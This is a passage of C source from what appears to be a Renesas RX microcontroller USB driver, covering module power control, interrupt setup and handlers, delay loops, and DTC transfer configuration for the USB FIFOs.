D0FIFO0))\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n/******************************************************************************\nRenesas Abstracted RSK functions\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_module_start\nDescription : USB module start\nArguments : usb_ip_t ip_type : USB_IP0/USB_IP1\nReturn value : none\n******************************************************************************/\nusb_err_t usb_cpu_module_start( usb_ip_t ip_type )\n{\n if( USB_IP0 == ip_type )\n {\n if(R_BSP_HardwareLock(BSP_LOCK_USB0) == false)\n {\n /* Lock has already been acquired by another task. Need to try again later */\n return USB_ERR_BUSY;\n }\n if(usb_gstd_is_opened[ip_type] == true)\n {\n R_BSP_HardwareUnlock(BSP_LOCK_USB0);\n return USB_ERR_OPENED;\n }\n\n /* Enable writing to MSTP registers */\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n /* Enable power for USB0 */\n SYSTEM.MSTPCRB.BIT.MSTPB19 = 0u;\n /* Disable writing to MSTP registers */\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n R_BSP_HardwareUnlock(BSP_LOCK_USB0);\n }\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n else if( USB_IP1 == ip_type )\n {\n if(R_BSP_HardwareLock(BSP_LOCK_USBA) == false)\n {\n /* Lock has already been acquired by another task. Need to try again later */\n return USB_ERR_BUSY;\n }\n if(usb_gstd_is_opened[ip_type] == true)\n {\n R_BSP_HardwareUnlock(BSP_LOCK_USBA);\n return USB_ERR_OPENED;\n }\n\n /* Enable writing to MSTP registers */\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n /* Enable power for USBA */\n SYSTEM.MSTPCRB.BIT.MSTPB12 = 0u;\n /* Disable writing to MSTP registers */\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n R_BSP_HardwareUnlock(BSP_LOCK_USBA);\n }\n else\n {\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n usb_gstd_is_opened[ip_type] = true;\n\n return USB_SUCCESS;\n}\n/******************************************************************************\nEnd of function usb_cpu_McuInitialize\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cpu_module_stop\nDescription : USB module stop\nArguments : usb_ip_t ip_type : USB_IP0/USB_IP1\nReturn value : none\n******************************************************************************/\nusb_err_t usb_cpu_module_stop( usb_ip_t ip_type )\n{\n if( USB_IP0 == ip_type )\n {\n if(R_BSP_HardwareLock(BSP_LOCK_USB0) == false)\n {\n /* Lock has already been acquired by another task. Need to try again later */\n return USB_ERR_BUSY;\n }\n if(usb_gstd_is_opened[ip_type] == false)\n {\n R_BSP_HardwareUnlock(BSP_LOCK_USB0);\n return USB_ERR_NOT_OPEN;\n }\n\n /* Enable writing to MSTP registers */\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n /* Disable power for USB0 */\n SYSTEM.MSTPCRB.BIT.MSTPB19 = 1u;\n /* Disable writing to MSTP registers */\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n R_BSP_HardwareUnlock(BSP_LOCK_USB0);\n }\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n else if( USB_IP1 == ip_type )\n {\n if(R_BSP_HardwareLock(BSP_LOCK_USBA) == false)\n {\n /* Lock has already been acquired by another task. Need to try again later */\n return USB_ERR_BUSY;\n }\n if(usb_gstd_is_opened[ip_type] == false)\n {\n R_BSP_HardwareUnlock(BSP_LOCK_USBA);\n return USB_ERR_NOT_OPEN;\n }\n\n /* Enable writing to MSTP registers */\n R_BSP_RegisterProtectDisable(BSP_REG_PROTECT_LPC_CGC_SWR);\n /* Disable power for USBA */\n SYSTEM.MSTPCRB.BIT.MSTPB12 = 1u;\n /* Disable writing to MSTP registers */\n R_BSP_RegisterProtectEnable(BSP_REG_PROTECT_LPC_CGC_SWR);\n\n R_BSP_HardwareUnlock(BSP_LOCK_USBA);\n }\n else\n {\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n usb_gstd_is_opened[ip_type] = false;\n\n return USB_SUCCESS;\n}\n/******************************************************************************\nEnd of function usb_cpu_McuInitialize\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_cpu_target_init\nDescription : Target System Initialize\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_cpu_target_init( void )\n{\n /* Enable Interrupt */\n usb_cpu_usbint_init(); /* Initialized USB interrupt */\n}\n/******************************************************************************\nEnd of function usb_cpu_target_init\n******************************************************************************/\n\n/******************************************************************************\nInterrupt function\n******************************************************************************/\n/******************************************************************************\nFunction Name : usb_cpu_usbint_init\nDescription : USB interrupt Initialize\nArguments : void\nReturn value : void\n******************************************************************************/\nvoid usb_cpu_usbint_init( void )\n{\n/* Condition compilation by the difference of USB function */\n#if USB_FUNCSEL_USBIP0_PP != USB_NOUSE_PP\n /* Deep standby USB monitor register\n b0 SRPC0 USB0 single end control\n b3-b1 Reserved 0\n b4 FIXPHY0 USB0 transceiver output fix\n b7-b5 Reserved 0\n b8 SRPC1 USB1 single end control\n b11-b9 Reserved 0\n b12 FIXPHY1 USB1 transceiver output fix\n b15-b13 Reserved 0\n b16 DP0 USB0 DP input\n b17 DM0 USB0 DM input\n b19-b18 Reserved 0\n b20 DOVCA0 USB0 OVRCURA input\n b21 DOVCB0 USB0 OVRCURB input\n b22 Reserved 0\n b23 DVBSTS0 USB1 VBUS input\n b24 DP1 USB1 DP input\n b25 DM1 USB1 DM input\n b27-b26 Reserved 0\n b28 DOVCA1 USB1 OVRCURA input\n b29 DOVCB1 USB1 OVRCURB input\n b30 Reserved 0\n b31 DVBSTS1 USB1 VBUS input\n */\n USB.DPUSR0R.BIT.FIXPHY0 = 0u; /* USB0 Transceiver Output fixed */\n\n /* Interrupt enable register\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n IEN( USB0, D0FIFO0 ) = 0u; /* D0FIFO0 disable */\n IEN( USB0, D1FIFO0 ) = 0u; /* D1FIFO0 disable */\n IEN( USB0, USBR0 ) = 1u; /* USBR0 enable */\n\n /* Interrupt priority register\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USB0, D0FIFO0 ) = 0x00; /* D0FIFO0 */\n IPR( USB0, D1FIFO0 ) = 0x00; /* D1FIFO0 */\n IPR( USB0, USBR0 ) = 0x00; /* USBR0 */\n#else\n IEN( USB0, D0FIFO0 ) = 0u; /* D0FIFO0 disable */\n IEN( USB0, D1FIFO0 ) = 0u; /* D1FIFO0 disable */\n\n /* Interrupt priority register\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USB0, D0FIFO0 ) = 0x00; /* D0FIFO0 */\n IPR( USB0, D1FIFO0 ) = 0x00; /* D1FIFO0 */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n\n IPR( USB0, USBI0 ) = 0x03; /* USBI0 in vector 128 */\n IEN( USB0, USBI0 ) = 1u; /* USBI0 enable in vector 128 */\n\n#endif /* USB_FUNCSEL_USBIP0_PP != USB_NOUSE_PP */\n\n#if USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n /* Interrupt enable register\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USBA, D0FIFO2 ) = 0u; /* Disable D0FIF2 interrupt */\n IEN( USBA, D1FIFO2 ) = 0u; /* Disable D1FIF2 interrupt */\n IEN( USBA, USBAR ) = 1u; /* Enable USBA interrupt */\n\n /* Priority D0FIFO0=0(Disable)\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USBA, D0FIFO2 ) = 0x00; /* D0FIFO2 */\n IPR( USBA, D1FIFO2 ) = 0x00; /* D0FIFO2 */\n IPR( USBA, USBAR ) = 0x03; /* USBA */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n#endif /* USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP */\n}\n/******************************************************************************\nEnd of function usb_cpu_usbint_init\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_usb_int_hand\nDescription : USB interrupt Handler\nArguments : void\nReturn value : void\n******************************************************************************/\nvoid usb_cpu_usb_int_hand(void)\n{\n/* Condition compilation by the difference of USB function */\n#if USB_FUNCSEL_USBIP0_PP != USB_NOUSE_PP\n /* Call USB interrupt routine */\n usb_cstd_UsbHandler(); /* Call interrupt routine */\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n ICU.PIBR7.BYTE |= 0x40; /* Flag clear */\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n#endif /* USB_FUNCSEL_USBIP0_PP */\n}\n/******************************************************************************\nEnd of function usb_cpu_usb_int_hand\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_d0fifo_int_hand\nDescription : D0FIFO interrupt Handler\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_cpu_d0fifo_int_hand(void)\n{\n/* Condition compilation by the difference of USB function */\n#if USB_FUNCSEL_USBIP0_PP != USB_NOUSE_PP\n usb_cstd_DmaHandler(); /* Call interrupt routine */\n#endif /* USB_FUNCSEL_USBIP0_PP */\n}\n/******************************************************************************\nEnd of function usb_cpu_d0fifo_int_hand\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_d1fifo_int_hand\nDescription : D1FIFO interrupt Handler\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_cpu_d1fifo_int_hand(void)\n{\n /* Please add the processing for the system. */\n}\n/******************************************************************************\nEnd of function usb_cpu_d1fifo_int_hand\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb2_cpu_usb_int_hand\nDescription : USB interrupt Handler\nArguments : void\nReturn value : void\n******************************************************************************/\nvoid usb2_cpu_usb_int_hand(void)\n{\n/* Condition compilation by the difference of USB function */\n#if USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP\n usb2_cstd_UsbHandler(); /* Call interrupt routine */\n#endif /* USB_FUNCSEL_USBIP1_PP */\n}\n/******************************************************************************\nEnd of function usb2_cpu_usb_int_hand\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb2_cpu_d0fifo_int_hand\nDescription : D0FIFO interrupt Handler\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb2_cpu_d0fifo_int_hand(void)\n{\n/* Condition compilation by the difference of USB function */\n#if USB_FUNCSEL_USBIP1_PP != USB_NOUSE_PP\n usb2_cstd_DmaHandler(); /* Call interrupt routine */\n#endif /* USB_FUNCSEL_USBIP1_PP */\n}\n/******************************************************************************\nEnd of function usb2_cpu_d0fifo_int_hand\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb2_cpu_d1fifo_int_hand\nDescription : D1FIFO interrupt Handler\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb2_cpu_d1fifo_int_hand(void)\n{\n /* Please add the processing for the system. */\n}\n/******************************************************************************\nEnd of function usb2_cpu_d1fifo_int_hand\n******************************************************************************/\n\n\n/******************************************************************************\nRenesas Abstracted RSK functions\n******************************************************************************/\n/******************************************************************************\nFunction Name : usb_cpu_int_enable\nDescription : USB Interrupt Enable\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : void\n******************************************************************************/\nvoid usb_cpu_int_enable(USB_UTR_t *ptr)\n{\n if( ptr->ip == USB_USBIP_0 )\n {\n /* Interrupt enable register (USB0 USBIO enable)\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USB0, USBI0 ) = 1; /* Enable USB0 interrupt */\n IEN( USB0, D0FIFO0 ) = usb_gcstd_D0fifo[ptr->ip];\n IEN( USB0, D1FIFO0 ) = usb_gcstd_D1fifo[ptr->ip];\n }\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n if( ptr->ip == USB_USBIP_1 )\n {\n /* Interrupt enable register (USB1 USBIO enable)\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USBA, USBAR ) = 1u; /* Enable USBA interrupt */\n IEN( USBA, D0FIFO2 ) = usb_gcstd_D0fifo[ptr->ip];\n IEN( USBA, D1FIFO2 ) = usb_gcstd_D1fifo[ptr->ip];\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n}\n/******************************************************************************\nEnd of function usb_cpu_int_enable\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_int_disable\nDescription : USB Interrupt disable\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \nReturn value : void\n******************************************************************************/\nvoid usb_cpu_int_disable(USB_UTR_t *ptr)\n{\n if( ptr->ip == USB_USBIP_0 )\n {\n /* Interrupt enable register (USB0 USBIO disable)\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USB0, USBI0 ) = 0; /* Disnable USB0 interrupt */\n usb_gcstd_D0fifo[ptr->ip] = IEN( USB0, D0FIFO0 );\n IEN( USB0, D0FIFO0 ) = 0;\n usb_gcstd_D1fifo[ptr->ip] = IEN( USB0, D1FIFO0 );\n IEN( USB0, D1FIFO0 ) = 0;\n }\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n if ( ptr->ip == USB_USBIP_1 )\n {\n /* Interrupt enable register (USB1 USBIO disable)\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USBA, USBAR ) = 0u; /* Disnable USBA interrupt */\n usb_gcstd_D0fifo[ptr->ip] = IEN( USBA, D0FIFO2 );\n IEN( USBA, D0FIFO2 ) = 0;\n usb_gcstd_D1fifo[ptr->ip] = IEN( USBA, D1FIFO2 );\n IEN( USBA, D1FIFO2 ) = 0;\n }\n#endif /* #if defined(BSP_MCU_RX64M) || (BSP_MCU_RX71M) */\n}\n/******************************************************************************\nEnd of function usb_cpu_int_disable\n******************************************************************************/\n\n\n/******************************************************************************\nTIMER function\n******************************************************************************/\n/******************************************************************************\nFunction Name : usb_cpu_Delay1us\nDescription : 1us Delay timer\nArguments : uint16_t time ; Delay time(*1us)\nReturn value : none\nNote : Please change for your MCU\n******************************************************************************/\nvoid usb_cpu_Delay1us(uint16_t time)\n{\n volatile register uint16_t i;\n\n /* Wait 1us (Please change for your MCU) */\n#if defined(BSP_MCU_RX63N)\n for( i = 0; i < (7 * time); ++i )\n#endif /* defined(BSP_MCU_RX63N) */\n\n#if defined(BSP_MCU_RX64M)\n for( i = 0; i < (9 * time); ++i )\n#endif /* defined(BSP_MCU_RX64M) */\n\n#if defined(BSP_MCU_RX71M)\n for( i = 0; i < (20 * time); ++i )\n#endif /* defined(BSP_MCU_RX71M) */\n\n {\n };\n}\n/******************************************************************************\nEnd of function usb_cpu_Delay1us\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_DelayXms\nDescription : xms Delay timer\nArguments : uint16_t time ; Delay time(*1ms)\nReturn value : void\nNote : Please change for your MCU\n******************************************************************************/\nvoid usb_cpu_DelayXms(uint16_t time)\n{\n /* Wait xms (Please change for your MCU) */\n volatile register uint32_t i;\n\n /* Wait 1ms */\n#if defined(BSP_MCU_RX63N)\n for( i = 0; i < (7600 * time); ++i )\n#endif /* defined(BSP_MCU_RX63N) */\n\n#if defined(BSP_MCU_RX64M)\n for( i = 0; i < (9500 * time); ++i )\n#endif /* defined(BSP_MCU_RX64M) */\n\n#if defined(BSP_MCU_RX71M)\n for( i = 0; i < (20000 * time); ++i )\n#endif /* defined(BSP_MCU_RX71M) */\n {\n };\n /* When \"ICLK=120MHz\" is set, this code is waiting for 1ms.\n Please change this code with CPU Clock mode. */\n}\n/******************************************************************************\nEnd of function usb_cpu_DelayXms\n******************************************************************************/\n\n\n#ifdef USB_DTC_ENABLE\n/******************************************************************************\nFunction Name : usb_cpu_d0fifo2buf_start_dma\nDescription : FIFO to Buffer data read DMA start\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \n : uint32_t SourceAddr : Source address\nReturn value : void\n******************************************************************************/\nvoid usb_cpu_d0fifo2buf_start_dma(USB_UTR_t *ptr, uint32_t SourceAddr)\n{\n uint16_t size;\n uint32_t tmp;\n dtc_activation_source_t act_src; /* activation source is Software Interrupt */\n\n\n /* DTC Transfer enable\n b0 DTCST DTC module start bit\n b7-b1 Reserved 0\n */\n R_DTC_Control(DTC_CMD_DTC_START, NULL, 0);\n\n /* DTC control register (Transfer Information Read No Skip)\n b2-b0 Reserved 0\n b3 Reserved 0\n b4 RRS DTC Transfer Information Read Skip enable bit\n b7-b5 Reserved 0\n */\n R_DTC_Control(DTC_CMD_DATA_READ_SKIP_DISABLE, NULL, 0);\n\n /* DTC mode register A (Block Transfer Set)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].transfer_mode = DTC_TRANSFER_MODE_BLOCK;\n\n if(ptr->ip == USB_USBIP_0)\n {\n act_src = DTCE_USB0_D0FIFO0;\n tmp = ((usb_gcstd_Dma0Fifo[ptr->ip] - 1) / 2) + 1;\n\n /* DTC mode register A (Word Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_WORD;\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n act_src = DTCE_USBA_D0FIFO2;\n tmp = ((usb_gcstd_Dma0Fifo[ptr->ip] - 1) / 4) + 1;\n\n /* DTC mode register A (Long Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_LWORD;\n }\n\n /* DTC mode register A (Source Address fixed)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].src_addr_mode = DTC_SRC_ADDR_FIXED;\n\n /* DTC mode register B (Chain Transfer disable)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].chain_transfer_enable = DTC_CHAIN_TRANSFER_DISABLE;\n\n /* DTC mode register B (Select Data Transfer End Interrupt)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].response_interrupt = DTC_INTERRUPT_AFTER_ALL_COMPLETE;\n\n /* DTC mode register B (Source Side Block Area)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].repeat_block_side = DTC_REPEAT_BLOCK_SOURCE;\n\n /* DTC mode register B (Destination Address Increment)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].dest_addr_mode = DTC_DES_ADDR_INCR;\n\n /* DTC source address register (FIFO port address)\n b31-b0 SAR Destination address\n */\n usb_td_cfg[ptr->ip].source_addr = SourceAddr;\n\n /* DTC source address register (Table address)\n b31-b0 SAR Source address\n */\n usb_td_cfg[ptr->ip].dest_addr = (uint32_t)(usb_gcstd_DataPtr[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]]);\n\n size = (uint8_t)(tmp);\n\n /* DTC transfer count registerA\n b15-b0 CRA Transfer count\n */\n usb_td_cfg[ptr->ip].block_size = (uint16_t)(size);\n\n /* DTC transfer count registerB (Block count)\n b15-b0 CRB Transfer count\n */\n usb_td_cfg[ptr->ip].transfer_count =\n (uint16_t)((usb_gcstd_DataCnt[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]] -1) / usb_gcstd_Dma0Fifo[ptr->ip]) +1;\n\n /* DTC address mode register (Full Address Mode)\n b0 SHORT Short address mode bit\n b7-b1 Reserved 0\n */\n\n /* DTC control register (Transfer Information Read No Skip)\n b2-b0 Reserved 0\n b3 Reserved 0\n b4 RRS DTC Transfer Information Read Skip enable bit\n b7-b5 Reserved 0\n */\n R_DTC_Control(DTC_CMD_DATA_READ_SKIP_ENABLE, NULL, 0);\n\n if( ptr->ip == USB_USBIP_0 )\n {\n /* Priority D0FIFO0=0\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USB0, D0FIFO0 ) = 0x00;\n\n /* Interrupt enable register (USB0 D0FIFO enable(IEN4))\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USB0, D0FIFO0 ) = 0;\n R_DTC_Create( act_src, &usb_dtc_transfer_data[ptr->ip], &usb_td_cfg[ptr->ip], 0 );\n IEN( USB0, D0FIFO0 ) = 1;\n\n /* DTC start enable register (USB0 D0FIFO transfer)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USB0, D0FIFO0 ) = 1;\n }\n else\n {\n /* Priority D0FIFO2=0\n b3-b0 IPR Interrupt priority\n b7-b4 Reserved 0\n */\n IPR( USBA, D0FIFO2 ) = 0x00;\n\n /* Interrupt enable register (USBA D0FIFO enable(IEN4))\n b0 IEN0 Interrupt enable bit\n b1 IEN1 Interrupt enable bit\n b2 IEN2 Interrupt enable bit\n b3 IEN3 Interrupt enable bit\n b4 IEN4 Interrupt enable bit\n b5 IEN5 Interrupt enable bit\n b6 IEN6 Interrupt enable bit\n b7 IEN7 Interrupt enable bit\n */\n IEN( USBA, D0FIFO2 ) = 0;\n R_DTC_Create( act_src, &usb_dtc_transfer_data[ptr->ip], &usb_td_cfg[ptr->ip], 0 );\n IEN( USBA, D0FIFO2 ) = 1;\n\n\n /* DTC start enable register (USBA D0FIFO transfer)\n b0 DTCE DTC start enable bit\n b7-b1 Reserved 0\n */\n DTCE( USBA, D0FIFO2 ) = 1;\n }\n}\n/******************************************************************************\nEnd of function\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cpu_buf2d0fifo_start_dma\nDescription : Buffer to FIFO data write DMA start\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel. \n : uint32_t DistAdr : Destination address\nReturn value : void\n******************************************************************************/\nvoid usb_cpu_buf2d0fifo_start_dma(USB_UTR_t *ptr, uint32_t DistAdr)\n{\n uint16_t size;\n uint32_t tmp;\n dtc_activation_source_t act_src; /* activation source is Software Interrupt */\n\n\n /* DTC Transfer enable\n b0 DTCST DTC module start bit\n b7-b1 Reserved 0\n */\n R_DTC_Control( DTC_CMD_DTC_START, NULL, 0 );\n\n /* DTC control register (Transfer Information Read No Skip)\n b2-b0 Reserved 0\n b3 Reserved 0\n b4 RRS DTC Transfer Information Read Skip enable bit\n b7-b5 Reserved 0\n */\n R_DTC_Control( DTC_CMD_DATA_READ_SKIP_DISABLE, NULL, 0 );\n\n /* DTC mode register A (Block Transfer Set)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].transfer_mode = DTC_TRANSFER_MODE_BLOCK;\n\n if(ptr->ip == USB_USBIP_0)\n {\n act_src = DTCE_USB0_D0FIFO0;\n\n if( (usb_gcstd_Dma0Size[ptr->ip] & 0x0001) != 0 )\n {\n /* if count == odd */\n tmp = usb_gcstd_Dma0Size[ptr->ip];\n\n /* DTC mode register A (Byte Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_BYTE;\n }\n else\n {\n tmp = usb_gcstd_Dma0Size[ptr->ip] / 2;\n\n /* DTC mode register A (Word Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_WORD;\n }\n }\n else if(ptr->ip == USB_USBIP_1)\n {\n act_src = DTCE_USBA_D0FIFO2;\n\n if( (usb_gcstd_Dma0Size[ptr->ip] & 0x0003) != 0 )\n {\n /* if count == odd */\n tmp = usb_gcstd_Dma0Size[ptr->ip];\n\n /* DTC mode register A (Byte Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_BYTE;\n }\n else\n {\n tmp = usb_gcstd_Dma0Size[ptr->ip] / 4;\n\n /* DTC mode register A (Word Size)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].data_size = DTC_DATA_SIZE_LWORD;\n }\n }\n\n /* DTC mode register A (Source Address Increment)\n b1-b0 Reserved 0\n b3-b2 SM source address mode bit\n b5-b4 SZ DTC data transfer size bit\n b7-b6 MD DTC mode bit\n */\n usb_td_cfg[ptr->ip].src_addr_mode = DTC_SRC_ADDR_INCR;\n\n /* DTC mode register B (Chain Transfer disable)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].chain_transfer_enable = DTC_CHAIN_TRANSFER_DISABLE;\n\n /* DTC mode register B (Select Data Transfer End Interrupt)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].response_interrupt = DTC_INTERRUPT_AFTER_ALL_COMPLETE;\n\n /* DTC mode register B (Destination Side Block Area)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].repeat_block_side = DTC_REPEAT_BLOCK_DESTINATION;\n\n /* DTC mode register B (Destination Address fixed)\n b1-b0 Reserved 0\n b3-b2 DM Destination address mode bit\n b4 DTS DTC transfer mode select bit\n b5 DISEL DTC interrupt select bit\n b6 CHNS DTC chain transfer select bit\n b7 CHNE DTC chain transfer enable bit\n */\n usb_td_cfg[ptr->ip].dest_addr_mode = DTC_DES_ADDR_FIXED;\n\n /* DTC source address register (Table address)\n b31-b0 SAR Destination address\n */\n usb_td_cfg[ptr->ip].source_addr = (uint32_t)(usb_gcstd_DataPtr[ptr->ip][usb_gcstd_Dma0Pipe[ptr->ip]]);\n\n /* DTC source address register (FIFO port address)\n b31-b0 SAR Source address\n */\n usb_td_cfg[ptr->ip].dest_addr = (uint32_t)(DistAdr);\n\n size = (uint8_t )(tmp);\n\n /* DTC transfer count registerA\n b15-b0 CRA Transfer count\n 